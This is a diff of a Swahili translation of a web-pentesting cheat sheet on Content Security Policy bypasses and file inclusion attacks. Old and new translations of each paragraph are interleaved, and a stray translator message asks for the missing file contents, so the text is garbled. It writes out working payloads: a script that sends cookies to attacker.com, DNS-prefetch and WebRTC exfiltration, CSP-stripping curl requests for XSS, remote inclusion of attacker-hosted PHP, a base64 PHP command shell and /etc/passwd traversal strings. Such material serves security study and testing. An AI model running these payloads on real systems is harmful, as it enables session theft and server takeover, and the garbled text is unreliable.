Ni jambo la kuvutia kutambua kwamba vivinjari kama Chrome na Firefox vina tabia tofauti katika kushughulikia iframes kuhusiana na CSP, na kusababisha uvujaji wa taarifa nyeti kutokana na tabia isiyoeleweka.
Inavutia kutambua kwamba browsers kama Chrome na Firefox zina tabia tofauti katika kushughulikia iframes kwa kuzingatia CSP, jambo linaloweza kusababisha leakage ya taarifa nyeti kutokana na undefined behavior.
Mbinu nyingine inahusisha kutumia CSP yenyewe ili kubaini subdomain ya siri. Njia hii inategemea algorithm ya kutafuta binary na kurekebisha CSP ili kujumuisha maeneo maalum ambayo yamezuiwa kwa makusudi. Kwa mfano, ikiwa subdomain ya siri ina wahusika wasiojulikana, unaweza kujaribu subdomains tofauti kwa kubadilisha mwelekeo wa CSP ili kuzuiya au kuruhusu subdomains hizi. Hapa kuna kipande kinachoonyesha jinsi CSP inaweza kuwekwa ili kuwezesha mbinu hii:
Mbinu nyingine inahusisha exploiting the CSP yenyewe kubaini secret subdomain. Mbinu hii inategemea binary search algorithm na kurekebisha CSP ili kujumuisha specific domains ambazo zinalengwa kupigwa block kwa makusudi. Kwa mfano, ikiwa secret subdomain imejengwa kwa herufi zisizojulikana, unaweza kwa kurudia kujaribu subdomains tofauti kwa kubadilisha CSP directive ili ku-block au kuweka allow subdomains hizi. Hapa kuna snippet inayoonyesha jinsi CSP inaweza kuwekwa ili kuwezesha method hii:
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
Kwa kufuatilia ni maombi gani yanayozuiwa au kuruhusiwa na CSP, mtu anaweza kupunguza wahusika wanaowezekana katika subdomain ya siri, hatimaye kufichua URL kamili.
Kwa kufuatilia maombi yanayozuiliwa au kuruhusiwa na CSP, mtu anaweza kupunguza herufi zinazowezekana katika subdomain ya siri, hatimaye kubaini URL kamili.
Mbinu zote zinatumia tofauti za utekelezaji wa CSP na tabia katika vivinjari, zikionyesha jinsi sera zinazodhaniwa kuwa salama zinaweza kwa bahati mbaya kuvuja taarifa nyeti.
Mbinu zote mbili zinatumia utofauti mdogo wa utekelezaji wa CSP na tabia katika vivinjari, zikionyesha jinsi sera zinazojionyesha kuwa salama zinaweza kusababisha leak ya taarifa nyeti bila kukusudia.
Trick kutoka [**hapa**](https://ctftime.org/writeup/29310).
Trick from [**here**](https://ctftime.org/writeup/29310).
## Teknolojia Zisizo Salama za Kupita CSP
## Teknolojia Hatari za Kuepuka CSP
### Makosa ya PHP wakati wa param nyingi
### Makosa ya PHP wakati kuna params nyingi sana
Kulingana na [**mbinu ya mwisho iliyozungumziwa katika video hii**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), kutuma param nyingi (1001 GET parameters ingawa unaweza pia kufanya hivyo na POST params na zaidi ya faili 20). **`header()`** yoyote iliyofafanuliwa katika msimbo wa wavuti wa PHP **haitatumwa** kwa sababu ya kosa ambalo hili litakusababisha.
Kulingana na the [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), kutuma vigezo vingi mno (1001 GET parameters ingawa pia unaweza kufanya hivyo kwa POST params na faili zaidi ya 20). Kila **`header()`** iliyobainishwa katika PHP web code **haitatumwa** kutokana na kosa ambalo hili litasababisha.
### Kupita kwa buffer ya majibu ya PHP
### PHP response buffer overload
PHP inajulikana kwa **kufanya buffering ya majibu hadi 4096** bytes kwa default. Hivyo, ikiwa PHP inaonyesha onyo, kwa kutoa **data ya kutosha ndani ya onyo**, **majibu** yatatumwa **kabla** ya **CSP header**, na kusababisha header ipuuzwe.\
Kisha, mbinu inajumuisha kimsingi **kujaza buffer ya majibu na onyo** ili header ya CSP isitumwe.
PHP inajulikana kwa buffering the response to 4096 bytes kwa default. Kwa hiyo, ikiwa PHP inaonyesha warning, kwa kutoa data ya kutosha ndani ya warnings, the response itatumwa kabla ya CSP header, causing the header to be ignored.\
Then, the technique consists basically in filling the response buffer with warnings so the CSP header isn't sent.
Wazo kutoka [**hiki andiko**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
### Kuandika Upya Ukurasa wa Kosa
### Kill CSP via max_input_vars (headers already sent)
Kutoka [**hiki andiko**](https://blog.ssrf.kr/69) inaonekana kama ilikuwa inawezekana kupita ulinzi wa CSP kwa kupakia ukurasa wa kosa (labda bila CSP) na kuandika upya maudhui yake.
Kwa kuwa headers lazima zitumwe kabla ya output yoyote, warnings emitted by PHP zinaweza kuharibu au kufanya zisifanye kazi mwito za `header()` zinazofuata. Ikiwa user input itazidi `max_input_vars`, PHP itatoa startup warning kwanza; any subsequent `header('Content-Security-Policy: ...')` itashindwa na “headers already sent”, ikifanya CSP izimike kwa ufanisi na kuruhusu reflective XSS ambayo vinginevyo ingezuiliwa.
```php
<?php
header("Content-Security-Policy: default-src 'none';");
echo $_GET['xss'];
```
Sina maudhui ya faili. Tafadhali weka hapa yaliyomo ya src/pentesting-web/content-security-policy-csp-bypass/README.md ili niweze kuyatafsiri.
```bash
# CSP in place → payload blocked by browser
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
# Exceed max_input_vars to force warnings before header() → CSP stripped
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
# Warning: Cannot modify header information - headers already sent
```
### Andika Upya Ukurasa la Kosa
Kutokana na [**this writeup**](https://blog.ssrf.kr/69) inaonekana kuwa ilikuwa inawezekana ku-bypass ulinzi wa CSP kwa kupakia ukurasa la kosa (huenda bila CSP) na kuandika upya yaliyomo yake.
```javascript
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
@ -625,40 +644,40 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
```
### SOME + 'self' + wordpress
SOME ni mbinu inayotumia XSS (au XSS iliyo na mipaka) **katika kiunganishi cha ukurasa** ili **kutumia** **viunganishi vingine vya asili moja.** Hii inafanywa kwa kupakia kiunganishi kilichoharibika kutoka kwenye ukurasa wa mshambuliaji na kisha kuhuisha ukurasa wa mshambuliaji kwa kiunganishi halisi katika asili moja unayotaka kutumia. Kwa njia hii, **kiunganishi kilichoharibika** kinaweza kutumia **`opener`** kitu katika **payload** ili **kufikia DOM** ya **kiunganishi halisi cha kutumia**. Kwa maelezo zaidi angalia:
SOME ni mbinu inayofanya matumizi mabaya ya XSS (au XSS iliyopunguzwa sana) **in an endpoint of a page** ili **kuabusu** **endpoints nyingine za same origin.** Hii hufanywa kwa kupakia endpoint yenye udhaifu kutoka ukurasa wa mshambuliaji kisha kusasisha (refresh) ukurasa wa mshambuliaji hadi endpoint halisi ndani ya origin sawa unayotaka kuabusu. Kwa njia hii **endpoint yenye udhaifu** inaweza kutumia object ya **`opener`** katika **payload** ili **kupata DOM** ya **endpoint halisi ili kuabusu.** Kwa taarifa zaidi angalia:
{{#ref}}
../xss-cross-site-scripting/some-same-origin-method-execution.md
{{#endref}}
Zaidi ya hayo, **wordpress** ina **JSONP** kiunganishi katika `/wp-json/wp/v2/users/1?_jsonp=data` ambacho kita **reflekti** **data** iliyotumwa katika matokeo (ikiwa na mipaka ya herufi, nambari na alama za nukta pekee).
Zaidi ya hayo, **wordpress** ina endpoint ya **JSONP** katika `/wp-json/wp/v2/users/1?_jsonp=data` ambayo ita**reflect** the **data** iliyotumwa katika output (kwa kikomo cha herufi, nambari na nukta tu).
Mshambuliaji anaweza kutumia kiunganishi hicho ili **kuunda shambulio la SOME** dhidi ya WordPress na **kuingiza** ndani ya `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` kumbuka kwamba **script** hii itakuwa **imepakiwa** kwa sababu inaruhusiwa na 'self'. Zaidi ya hayo, na kwa sababu WordPress imewekwa, mshambuliaji anaweza kutumia **shambulio la SOME** kupitia **kiunganishi kilichoharibika** **callback** ambacho **kinapita CSP** ili kutoa ruhusa zaidi kwa mtumiaji, kusakinisha plugin mpya...\
Kwa maelezo zaidi kuhusu jinsi ya kutekeleza shambulio hili angalia [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
Mshambuliaji anaweza kutumia endpoint hiyo kuunda SOME attack dhidi ya WordPress na kuiingiza ndani ya `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` kumbuka kwamba **script** hii ita**loaded** kwa sababu ime **allowed by 'self'**. Zaidi ya hayo, na kwa sababu WordPress imewekwa, mshambuliaji anaweza kutumia **SOME attack** kupitia **vulnerable** **callback** endpoint ambayo **bypasses the CSP** ili kumpa mtumiaji vibali zaidi, kusanisha plugin mpya...\
Kwa taarifa zaidi kuhusu jinsi ya kufanya shambulio hili angalia [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
## CSP Exfiltration Bypasses
Ikiwa kuna CSP kali ambayo haitakuruhusu **kuingiliana na seva za nje**, kuna mambo kadhaa unaweza kufanya kila wakati ili kutoa taarifa hizo.
Kama kuna CSP kali ambayo haitakuacha kuwasiliana na server za nje, kuna mambo kadhaa unaweza kufanya kila wakati ili kuondoa taarifa.
### Location
Unaweza tu kuboresha eneo la kutuma kwa seva ya mshambuliaji taarifa za siri:
Unaweza kubadilisha tu location ili kutuma kwa server ya mshambuliaji taarifa za siri:
```javascript
var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid
```
### Meta tag
Unaweza kuelekeza kwa kuingiza meta tag (hii ni kuelekeza tu, hii haitavuja maudhui)
Unaweza kufanya redirect kwa kuingiza meta tag (hii ni redirect tu; hii haitasababisha leak ya maudhui)
```html
<meta http-equiv="refresh" content="1; http://attacker.com" />
```
### DNS Prefetch
Ili kupakia kurasa kwa haraka, vivinjari vitakuwa vinatatua majina ya mwenyeji kuwa anwani za IP na kuyahifadhi kwa matumizi ya baadaye.\
Unaweza kuonyesha kivinjari kutatua jina la mwenyeji mapema kwa: `<link rel="dns-prefetch" href="something.com">`
Ili kupakia kurasa kwa haraka, vivinjari hutatua awali majina ya mwenyeji (hostnames) kuwa anwani za IP na kuyahifadhi kwenye cache kwa matumizi baadaye.\\
Unaweza kumuonyesha kivinjari kutatua awali jina la mwenyeji kwa: `<link rel="dns-prefetch" href="something.com">`
Unaweza kutumia tabia hii vibaya ili **kuondoa taarifa nyeti kupitia maombi ya DNS**:
Unaweza kutumia vibaya tabia hii ili **exfiltrate sensitive information via DNS requests**:
```javascript
var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
@ -675,18 +694,18 @@ linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)
```
Ili kuepuka hili kutokea, seva inaweza kutuma kichwa cha HTTP:
Ili kuzuia hili kutokee, seva inaweza kutuma HTTP header:
```
X-DNS-Prefetch-Control: off
```
> [!TIP]
> Inaonekana, mbinu hii haitumiki katika vivinjari visivyo na kichwa (bots)
> Inaonekana mbinu hii haifanyi kazi kwenye headless browsers (bots)
### WebRTC
Katika kurasa kadhaa unaweza kusoma kwamba **WebRTC haiangalii sera ya `connect-src`** ya CSP.
Kwenye kurasa kadhaa unaweza kusoma kwamba **WebRTC haiangalii sera ya `connect-src` ya CSP**.
Kwa kweli unaweza _leak_ taarifa kwa kutumia _ombio la DNS_. Angalia hii code:
Kwa kweli unaweza _leak_ taarifa kwa kutumia _DNS request_. Angalia code hii:
```javascript
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
@ -694,7 +713,7 @@ p.createDataChannel("")
p.setLocalDescription(await p.createOffer())
})()
```
Chaguo lingine:
Chaguo jingine:
```javascript
var pc = new RTCPeerConnection({
"iceServers":[
@ -708,7 +727,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
```
### CredentialsContainer
Popup ya akreditivu inatuma ombi la DNS kwa iconURL bila kuzuiliwa na ukurasa. Inafanya kazi tu katika muktadha salama (HTTPS) au kwenye localhost.
Credential popup hutuma ombi la DNS kwenda iconURL bila kuzuiliwa na ukurasa. Inafanya kazi tu katika muktadha salama (HTTPS) au kwenye localhost.
```javascript
navigator.credentials.store(
new FederatedCredential({
@ -719,7 +738,7 @@ iconURL:"https:"+your_data+"example.com"
})
)
```
## Kuangalia Sera za CSP Mtandaoni
## Kukagua Sera za CSP Mtandaoni
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
- [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
@ -728,7 +747,7 @@ iconURL:"https:"+your_data+"example.com"
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
## Marejeleo
## Marejeo
- [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/)
- [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/)
@ -738,6 +757,7 @@ iconURL:"https:"+your_data+"example.com"
- [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/)
- [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
- [https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket)
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
​

352
src/pentesting-web/file-inclusion/README.md
View File

@ -4,14 +4,14 @@
## File Inclusion
**Remote File Inclusion (RFI):** Faili inapakuliwa kutoka server ya mbali (Bora: Unaweza kuandika code na server itaitekeleza). Katika PHP hii imezimwa kwa chaguo-msingi (**allow_url_include**).\
**Local File Inclusion (LFI):** Server inapakua faili ya ndani.
**Remote File Inclusion (RFI):** Faili inapakiwa kutoka kwenye server ya mbali (Bora: Unaweza kuandika msimbo na server itauitekeleza). In php hii ime **zimwa** kwa default (**allow_url_include**).\
**Local File Inclusion (LFI):** Server inapakia faili ya ndani.
Udhaifu hutokea wakati mtumiaji anaweza kudhibiti kwa namna fulani faili itakayopakiwa na server.
**PHP functions** zilizo hatarini: require, require_once, include, include_once
Funksioni za **PHP** zilizo hatarini: require, require_once, include, include_once
Chombo kizuri cha ku-exploit udhaifu huu: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
Zana ya kuvutia ya kutumia ku-exploit udhaifu huu: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Interesting - LFI2RCE files
```python
@ -19,43 +19,43 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
```
### **Linux**
**Baada ya kuchanganya orodha kadhaa za \*nix LFI na kuongeza njia zaidi, niliunda hii:**
**Kwa kuchanganya orodha kadhaa za \*nix LFI na kuongeza njia zaidi, nimeunda hii:**
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
Pia jaribu kubadilisha `/` kwa `\`\
Pia jaribu kuongeza `../../../../../`
Jaribu pia kubadilisha `/` kwa `\`\
Jaribu pia kuongeza `../../../../../`
Orodha inayotumia mbinu kadhaa kupata faili /etc/password (ili kukagua kama udhaifu upo) inapatikana [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
Orodha inayotumia mbinu mbalimbali kupata faili /etc/password (kuangalia ikiwa udhaifu upo) inaweza kupatikana [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
### **Windows**
Mchanganyiko wa wordlists tofauti:
Muungano wa wordlists tofauti:
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
Pia jaribu kubadilisha `/` kwa `\`\
Pia jaribu kuondoa `C:/` na kuongeza `../../../../../`
Jaribu pia kubadilisha `/` kwa `\`\
Jaribu pia kuondoa `C:/` na kuongeza `../../../../../`
Orodha inayotumia mbinu kadhaa kupata faili /boot.ini (ili kukagua kama udhaifu upo) inapatikana [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
Orodha inayotumia mbinu mbalimbali kupata faili /boot.ini (kuangalia ikiwa udhaifu upo) inaweza kupatikana [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
### **OS X**
Angalia orodha ya LFI ya linux.
## Msingi wa LFI na bypasses
## Msingi wa LFI na njia za kukwepa
Mfano yote ni kwa Local File Inclusion lakini inaweza kutumika pia kwa Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
Mifano yote ni kwa Local File Inclusion lakini inaweza kutumika pia kwa Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
```
http://example.com/index.php?page=../../../etc/passwd
```
### traversal sequences zimeondolewa bila kutumia recursion
### Mfululizo wa traversal uliokatwa bila rekursia
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
@ -63,59 +63,59 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
Bypass kuongeza herufi zaidi mwishoni mwa string iliyotolewa (bypass of: $\_GET\['param']."php")
Bypass kuongezwa kwa viongezi mwishoni mwa string iliyotolewa (bypass of: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
Hii **imetatuliwa tangu PHP 5.4**
Hii ime **tatuliwa tangu PHP 5.4**
### **Encoding**
Unaweza kutumia encodings zisizo za kawaida kama double URL encode (na nyingine):
Unaweza kutumia encoding zisizo za kawaida kama double URL encode (na nyingine):
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### Kutoka kwenye kabrasha iliyopo
### Kutoka kwenye folda iliyopo
Labda back-end inakagua njia ya kabrasha:
Huenda back-end inakagua njia ya folda:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Kuchunguza saraka za mfumo wa faili kwenye seva
### Kuchunguza Saraka za Mfumo wa Faili kwenye Seva
Mfumo wa faili wa seva unaweza kuchunguzwa kwa njia ya kurudia ili kubaini saraka, sio tu faili, kwa kutumia mbinu fulani. Mchakato huu unajumuisha kubaini kina cha saraka na kuchunguza uwepo wa saraka maalum. Hapa chini kuna njia ya kina ya kufanikisha hili:
Mfumo wa faili wa seva unaweza kuchunguzwa kwa njia ya kurudia ili kubaini saraka, si faili tu, kwa kutumia mbinu fulani. Mchakato huu unahusisha kubaini kina cha saraka na kujaribu kuwepo kwa folda maalum. Hapa chini ni njia ya kina ya kufanikisha hili:
1. **Tambua Kina cha Saraka:** Tambua kina cha saraka yako ya sasa kwa kupata kwa mafanikio faili `/etc/passwd` (inayotumika ikiwa seva inategemea Linux). Mfano wa URL unaweza kutengenezwa kama ifuatavyo, ukionyesha kina cha tatu:
1. **Tambua Kina cha Saraka:** Bainisha kina cha saraka unayotumia kwa kupata kwa mafanikio faili ya `/etc/passwd` (inayotumika ikiwa seva ni ya Linux). Mfano wa URL unaweza kuundwa kama ifuatavyo, ukionyesha kina cha tatu:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Chunguza Folda:** Ongeza jina la folda inayoshukiwa (kwa mfano, `private`) kwenye URL, kisha rudi kwenye `/etc/passwd`. Ngazi ya ziada ya directory inahitaji kuongeza depth kwa moja:
2. **Chunguza Folda:** Ongeza jina la folda unayoshuku (mfano, `private`) kwenye URL, kisha rudi kwenye `/etc/passwd`. Ngazi ya ziada ya directory inahitaji kuongeza kina kwa moja:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Tafsiri Matokeo:** Jibu la seva linaonyesha ikiwa kabrasha lipo:
- **Hitilafu / Hakuna Matokeo:** Kabrasha `private` huenda halipo mahali ulilotajwa.
- **Maudhui ya `/etc/passwd`:** Upo wa kabrasha `private` umethibitishwa.
4. **Uchunguzi wa Kurudia:** Folda zilizogunduliwa zinaweza kuchunguzwa zaidi kwa saraka ndogo au faili kwa kutumia mbinu ile ile au njia za kawaida za Local File Inclusion (LFI).
3. **Tafsiri Matokeo:** Majibu ya server yanaonyesha ikiwa saraka ipo:
- **Hitilafu / Hakuna Matokeo:** Saraka `private` huenda haipo katika eneo lililotajwa.
- **Maudhui ya `/etc/passwd`:** Uwepo wa saraka ya `private` unathibitishwa.
4. **Uchunguzi wa Rekursivu:** Saraka zilizogunduliwa zinaweza kuchunguzwa zaidi kwa kuangalia saraka ndogo au faili kwa kutumia mbinu ile ile au mbinu za kimila za Local File Inclusion (LFI).
Kwa kuchunguza saraka katika maeneo tofauti kwenye mfumo wa faili, rekebisha payload ipasavyo. Kwa mfano, ili kukagua kama `/var/www/` ina kabrasha `private` (ikiwa saraka ya sasa iko kwa kina cha 3), tumia:
Ili kuchunguza directories katika maeneo tofauti ya mfumo wa faili, rekebisha payload ipasavyo. Kwa mfano, ili kuangalia kama `/var/www/` ina saraka ya `private` (kwa kuzingatia kwamba saraka ya sasa iko katika kina cha 3), tumia:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Path Truncation Technique**
Path truncation ni mbinu inayotumika kubadilisha njia za faili katika program za wavuti. Mara nyingi hutumika kufikia faili zilizokatwa kwa kuruka baadhi ya hatua za usalama ambazo huongeza herufi zaidi mwishoni mwa njia za faili. Lengo ni kuunda njia ya faili ambayo, mara itakapobadilishwa na kipengele cha usalama, bado inaelekeza kwenye faili inayotakiwa.
Path truncation ni mbinu inayotumika kubadilisha njia za faili katika programu za wavuti. Mara nyingi hutumiwa kufikia faili zilizozuiliwa kwa kupita hatua za usalama ambazo zinaongeza herufi au alama mwishoni mwa njia za faili. Lengo ni kutengeneza njia ya faili ambayo, mara itakaporudishwa au kuharibiwa na hatua ya usalama, bado itaonyesha kwenye faili linalotakiwa.
Katika PHP, uwakilishi tofauti wa njia ya faili unaweza kutazamwa sawa kutokana na muundo wa mfumo wa faili. Kwa mfano:
Katika PHP, uwakilishi tofauti wa njia ya faili unaweza kutazamwa kuwa sawa kutokana na tabia ya mfumo wa faili. Kwa mfano:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path.
- Wakati herufi 6 za mwisho ni `passwd`, kuongeza `/` (kuwa `passwd/`) haibadilishi faili linalolengwa.
- Vivyo hivyo, ikiwa `.php` imeongezwa kwenye njia ya faili (kama `shellcode.php`), kuongeza `/.` mwishoni haitabadilisha faili inayofunguliwa.
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, na `/etc/passwd/` zote huhesabiwa kama njia ile ile.
- Wakati herufi 6 za mwisho ni `passwd`, kuongeza `/` (kufanya kuwa `passwd/`) hakubadilishi faili linalolengwa.
- Vivyo hivyo, ikiwa `.php` imeambatanishwa na njia ya faili (kama `shellcode.php`), kuongeza `/.` mwishoni haitabadili faili inayofunguliwa.
Mifano iliyotolewa inaonyesha jinsi ya kutumia path truncation kufikia `/etc/passwd`, lengo la kawaida kutokana na yaliyomo nyeti (taarifa za akaunti za watumiaji):
Mifano iliyoonyeshwa inaonyesha jinsi ya kutumia path truncation kufikia `/etc/passwd`, lengo la kawaida kutokana na yaliyomo nyeti (taarifa za akaunti za watumiaji):
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -125,13 +125,13 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
Katika matukio haya, idadi ya traversals inayohitajika inaweza kuwa takriban 2027, lakini idadi hii inaweza kubadilika kulingana na usanidi wa server.
Katika matukio haya, idadi ya traversals zinazohitajika inaweza kuwa takriban 2027, lakini idadi hiyo inaweza kutofautiana kulingana na usanidi wa server.
- **Kutumia Dot Segments na Characters Za Ziada**: Traversal sequences (`../`) zilizochanganywa na dot segments za ziada na characters zinaweza kutumika kusogea kwenye file system, kwa ufanisi zikimpuuza server kuambatisha strings zilizoongezwa.
- **Kukadiria Idadi ya Traversals Zinazohitajika**: Kupitia jaribio na makosa, mtu anaweza kupata idadi sahihi ya `../` zinazohitajika kufika root directory na kisha `/etc/passwd`, kuhakikisha kwamba strings zilizoongezwa (kama `.php`) zimetolewa lakini path inayotakikana (`/etc/passwd`) inabaki kamili.
- **Kuanza na Fake Directory**: Ni desturi ya kawaida kuanza path na directory isiyopo (kama `a/`). Mbinu hii hutumiwa kama tahadhari au kutimiza mahitaji ya logic ya server katika utoaji maana wa paths.
- **Using Dot Segments and Additional Characters**: Mfululizo wa traversal (`../`) uliounganishwa na dot segments za ziada na characters unaweza kutumika kusogeza kwenye file system, kwa ufanisi kupuuza appended strings zinazoongezwa na server.
- **Determining the Required Number of Traversals**: Kupitia majaribio na makosa, mtu anaweza kupata idadi kamili ya mfululizo wa `../` zinazohitajika ili kufika kwenye root directory kisha hadi `/etc/passwd`, kuhakikisha kuwa appended strings yoyote (kama `.php`) zimekatizwa lakini path inayotakiwa (`/etc/passwd`) bado iko sawa.
- **Starting with a Fake Directory**: Ni desturi ya kawaida kuanza path na directory isiyekuwepo (kama `a/`). This technique inatumika kama hatua ya tahadhari au kutimiza mahitaji ya server ya path parsing logic.
Unapotumia path truncation techniques, ni muhimu kuelewa tabia ya server ya kutafsiri paths na muundo wa filesystem. Kila tukio linaweza kuhitaji mbinu tofauti, na upimaji mara nyingi unahitajika ili kupata njia yenye ufanisi zaidi.
When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method.
**This vulnerability was corrected in PHP 5.3.**
@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
Katika php hii imezimwa kwa chaguo-msingi kwa sababu **`allow_url_include`** iko **Off.** Inahitaji kuwa **On** ili ifanye kazi, na katika hali hiyo unaweza kujumuisha faili la PHP kutoka kwenye server yako na kupata RCE:
Katika php hii imezimwa kwa chaguo-msingi kwa sababu **`allow_url_include`** iko **Off.** Inatakiwa iwe **On** ili ifanye kazi, na katika hali hiyo unaweza kujumuisha faili la PHP kutoka kwenye seva yako na kupata RCE:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
Ikiwa kwa sababu fulani **`allow_url_include`** iko **On**, lakini PHP inafanya **filtering** kwa ufikaji wa kurasa za wavuti za nje, [kulingana na chapisho hili](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), unaweza kutumia kwa mfano protokoli ya data na base64 ku-decode code ya PHP iliyokuwa b64 na kupata RCE:
Iwapo kwa sababu fulani **`allow_url_include`** iko **On**, lakini PHP **inachuja** ufikiaji wa kurasa za nje, [kulingana na chapisho hiki](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), unaweza kutumia kwa mfano data protocol na base64 ku-decode PHP code ya b64 na kupata RCE:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!TIP]
> Katika msimbo uliotangulia, `+.txt` ya mwisho iliongezwa kwa sababu attacker alihitaji string iliyoishia kwa `.txt`, hivyo string inaishia nayo na baada ya b64 decode sehemu hiyo itarudisha tu takataka na code halisi ya PHP itajumuishwa (na kwa hivyo, itatekelezwa).
>
> Mfano mwingine **bila kutumia protocol ya `php://`** ungekuwa:
> Katika code iliyotangulia, `+.txt` ya mwisho iliongezwa kwa sababu attacker alikuwa anahitaji mnyororo uliomalizika na `.txt`, hivyo mnyororo unamalizika nayo na baada ya b64 decode sehemu hiyo itarudisha tu taka na PHP code halisi itajumuishwa (na kwa hiyo, itatekelezwa).
Mfano mwingine **usiotumia `php://` protocol** ni:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
## Kipengele mzizi la Python
## Kipengele cha mzizi cha Python
Katika Python, msimbo kama huu:
Katika Python, katika msimbo kama huu:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
Ikiwa mtumiaji atapitisha **absolute path** kwa **`file_name`**, **njia ya awali inaondolewa tu**:
Ikiwa mtumiaji atapitisha **njia kamili** kwa **`file_name`**, **njia iliyotangulia itaondolewa tu**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
Hii ni tabia iliyokusudiwa kulingana na [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
